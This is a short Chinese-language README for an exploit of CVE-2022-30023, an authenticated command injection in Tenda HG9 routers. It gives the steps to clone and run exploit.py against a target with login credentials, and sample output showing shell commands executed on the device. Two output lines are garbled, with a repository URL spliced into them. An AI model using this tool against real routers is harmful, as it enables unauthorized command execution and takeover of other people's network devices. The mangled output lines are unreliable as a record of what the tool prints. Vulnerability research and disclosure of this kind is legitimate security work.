CVE-2022-30023

Tenda HG9 路由器上的已认证命令注入

用法

git clone https://github.com/Haniwa0x01/CVE-2022-30023
cd CVE-2022-30023
python exploit.py -u http://target -U "user" -P "password"

示例

pc@pc-note:~/CVE-2022-30023/$ python3 exploit.py -u "http://10.0.0.1" -U "admin" -P "admin"
[!]: https://raw.githubusercontent.com/haniwa0x01/cve-2022-30023/main/Logged!
[CMD]: ls -la

drwxrwxr-x    3 admin    root            54 Jan 25  2021 .
drwxrwxr-x    3 admin    root            28 Jan 25  2021 ..
-rwxrwxr-x    1 admin    root          6306 Jan 25  2021 boa.conf
drwxrwxr-x    6 admin    root          5129 Jan 25  2021 web

[CMD]:
https://raw.githubusercontent.com/haniwa0x01/cve-2022-30023/main/%60%60%60